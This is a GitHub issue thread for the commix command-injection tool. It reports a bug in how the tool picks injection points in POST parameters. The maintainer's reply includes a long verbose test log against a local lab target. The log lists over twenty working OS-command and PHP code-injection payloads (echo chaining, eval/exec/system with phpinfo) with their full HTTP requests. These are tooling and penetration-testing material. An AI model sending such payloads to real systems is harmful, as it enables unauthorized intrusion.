search

commixproject / commix

Automated All-in-One OS Command Injection Exploitation Tool.
https://commixproject.com
Other
4.6k stars 816 forks source link

The Injection Poing Logic Problem #843

Closed darshanpjpt closed 1 year ago

darshanpjpt commented 1 year ago

What's the problem?

The injection point logic needs to be updated.

Currently, it is finding injection points from the name. e.g. for q=hello, it will find hello and inject payloads after "hello" word.

I found an error for processing search request in testphp, the http body is: search=hello&goButton=go

Here the injection points should be: search=hello&goButton=go

the injection points set by commix are: search=hello&goButton=go Screenshot

Do you have an idea for a solution?

possibly, the injection point can be checked in the parameter value only and not in the parameter name.

stasinopoulos commented 1 year ago

A quick workaround, is to specify these injection point(s) in the command line by appending an asterisk (*) :

❯ python3 commix.py -u "http://lab:9090//scenarios/regular/POST/classic.php" --data="search=hello&goButton=go*" --proxy="http://127.0.0.1:8080" -v3
                                      __
   ___   ___     ___ ___     ___ ___ /\_\   __  _
 /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\  v3.8-dev#22
/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/>  </
\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\ https://commixproject.com
 \/____/\/___/  \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (@commixproject)

+--
Automated All-in-One OS Command Injection Exploitation Tool
Copyright © 2014-2023 Anastasios Stasinopoulos (@ancst)
+--

(!) Legal disclaimer: Usage of commix for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

[11:58:32] [debug] Checking all required third-party library dependencies.
[11:58:32] [info] Testing connection to the target URL.
[11:58:32] [debug] Setting the HTTP timeout.
[11:58:32] [debug] Setting the HTTP User-Agent header.
[11:58:32] [debug] Setting the HTTP proxy for all HTTP requests.
[11:58:32] [debug] Creating HTTP requests opener object.
[11:58:32] [traffic] HTTP request [#1]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go*
[11:58:32] [traffic] HTTP response [#1] (200):
Date: Fri, 02 Jun 2023 08:58:32 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
Custom injection marker (*) found in POST body. Do you want to process it? [Y/n] >
[11:58:33] [info] Performing identification checks to the target URL.
[11:58:33] [debug] Identifying the indicated web-page charset.
[11:58:33] [warning] Heuristics have failed to identify indicated web-page charset.
[11:58:33] [debug] Identifying the target application.
[11:58:33] [debug] The target application identified as PHP.
[11:58:33] [debug] Identifying the technology supporting the target application.
[11:58:33] [debug] The target application is powered by PHP/5.5.9-1ubuntu4.6.
[11:58:33] [debug] Identifying The underlying operating system.
[11:58:33] [debug] The underlying operating system appears to be Unix-Like (Ubuntu).
[11:58:33] [debug] Identifying the target server.
[11:58:33] [debug] The target server identified as Apache/2.4.7 (Ubuntu).
[11:58:33] [debug] Estimating the target URL response time.
[11:58:33] [info] Setting POST parameter 'goButton' for tests.
[11:58:33] [debug] Performing heuristic (basic) tests to the target URL.
[11:58:33] [payload] go%3Becho%20%24%28%286400%2B7248%29%29%2526%2526echo%20%24%28%286400%2B7248%29%29%7C%7Cecho%20%24%28%286400%2B7248%29%29
[11:58:33] [traffic] HTTP request [#2]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%3Becho%20%24%28%286400%2B7248%29%29%2526%2526echo%20%24%28%286400%2B7248%29%29%7C%7Cecho%20%24%28%286400%2B7248%29%29
[11:58:34] [traffic] HTTP response [#2] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%7Cset%20/a%20%286400%2B7248%29%26set%20/a%20%286400%2B7248%29
[11:58:34] [traffic] HTTP request [#3]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%7Cset%20/a%20%286400%2B7248%29%26set%20/a%20%286400%2B7248%29
[11:58:34] [traffic] HTTP response [#3] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go.print%28phpinfo%28%29%29
[11:58:34] [traffic] HTTP request [#4]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go.print%28phpinfo%28%29%29
[11:58:34] [traffic] HTTP response [#4] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go.print%28exec%28phpinfo%28%29%29%29
[11:58:34] [traffic] HTTP request [#5]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go.print%28exec%28phpinfo%28%29%29%29
[11:58:34] [traffic] HTTP response [#5] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go.print%28eval%28phpinfo%28%29%29%29
[11:58:34] [traffic] HTTP request [#6]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go.print%28eval%28phpinfo%28%29%29%29
[11:58:34] [traffic] HTTP response [#6] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go.print%28system%28phpinfo%28%29%29%29
[11:58:34] [traffic] HTTP request [#7]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go.print%28system%28phpinfo%28%29%29%29
[11:58:34] [traffic] HTTP response [#7] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%29%27%7Dphpinfo%28%29%27%23
[11:58:34] [traffic] HTTP request [#8]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%29%27%7Dphpinfo%28%29%27%23
[11:58:34] [traffic] HTTP response [#8] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%29%27%7Dexec%28phpinfo%28%29%29%27%23
[11:58:34] [traffic] HTTP request [#9]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%29%27%7Dexec%28phpinfo%28%29%29%27%23
[11:58:34] [traffic] HTTP response [#9] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%29%27%7Deval%28phpinfo%28%29%29%27%23
[11:58:34] [traffic] HTTP request [#10]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%29%27%7Deval%28phpinfo%28%29%29%27%23
[11:58:34] [traffic] HTTP response [#10] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%29%27%7Dsystem%28phpinfo%28%29%29%27%23
[11:58:34] [traffic] HTTP request [#11]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%29%27%7Dsystem%28phpinfo%28%29%29%27%23
[11:58:34] [traffic] HTTP response [#11] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%27.phpinfo%28%29.%27
[11:58:34] [traffic] HTTP request [#12]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%27.phpinfo%28%29.%27
[11:58:34] [traffic] HTTP response [#12] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%27.exec%28phpinfo%28%29%29.%27
[11:58:34] [traffic] HTTP request [#13]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%27.exec%28phpinfo%28%29%29.%27
[11:58:34] [traffic] HTTP response [#13] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%27.eval%28phpinfo%28%29%29.%27
[11:58:34] [traffic] HTTP request [#14]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%27.eval%28phpinfo%28%29%29.%27
[11:58:34] [traffic] HTTP response [#14] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%27.system%28phpinfo%28%29%29.%27
[11:58:34] [traffic] HTTP request [#15]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%27.system%28phpinfo%28%29%29.%27
[11:58:34] [traffic] HTTP response [#15] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%7B%24%7Bphpinfo%28%29%7D%7D
[11:58:34] [traffic] HTTP request [#16]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%7B%24%7Bphpinfo%28%29%7D%7D
[11:58:34] [traffic] HTTP response [#16] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%7B%24%7Bexec%28phpinfo%28%29%29%7D%7D
[11:58:34] [traffic] HTTP request [#17]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%7B%24%7Bexec%28phpinfo%28%29%29%7D%7D
[11:58:34] [traffic] HTTP response [#17] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%7B%24%7Beval%28phpinfo%28%29%29%7D%7D
[11:58:34] [traffic] HTTP request [#18]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%7B%24%7Beval%28phpinfo%28%29%29%7D%7D
[11:58:34] [traffic] HTTP response [#18] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%7B%24%7Bsystem%28phpinfo%28%29%29%7D%7D
[11:58:34] [traffic] HTTP request [#19]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%7B%24%7Bsystem%28phpinfo%28%29%29%7D%7D
[11:58:34] [traffic] HTTP response [#19] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%5C%5C/%7B%24%7Bphpinfo%28%29%7D%7D%5C/%5C
[11:58:34] [traffic] HTTP request [#20]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%5C%5C/%7B%24%7Bphpinfo%28%29%7D%7D%5C/%5C
[11:58:34] [traffic] HTTP response [#20] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%5C%5C/%7B%24%7Bexec%28phpinfo%28%29%29%7D%7D%5C/%5C
[11:58:34] [traffic] HTTP request [#21]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%5C%5C/%7B%24%7Bexec%28phpinfo%28%29%29%7D%7D%5C/%5C
[11:58:34] [traffic] HTTP response [#21] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%5C%5C/%7B%24%7Beval%28phpinfo%28%29%29%7D%7D%5C/%5C
[11:58:34] [traffic] HTTP request [#22]:
POST //scenarios/regular/POST/classic.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Host: lab:9090
User-Agent: commix/v3.8-dev#22 (https://commixproject.com)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

search=hello&goButton=go%5C%5C/%7B%24%7Beval%28phpinfo%28%29%29%7D%7D%5C/%5C
[11:58:34] [traffic] HTTP response [#22] (200):
Date: Fri, 02 Jun 2023 08:58:34 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1737
Connection: close
Content-Type: text/html
URI: http://lab:9090//scenarios/regular/POST/classic.php
[11:58:34] [payload] go%5C%5C/%7B%24%7Bsystem%28phpinfo%28%29%29%7D%7D%5C/%5C
^C[11:58:34] [error] User aborted procedure during the detection phase (Ctrl-C was pressed).
Anthonymcqueen21 commented 1 year ago

Very interesting

github-actions[bot] commented 1 year ago

This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related issues.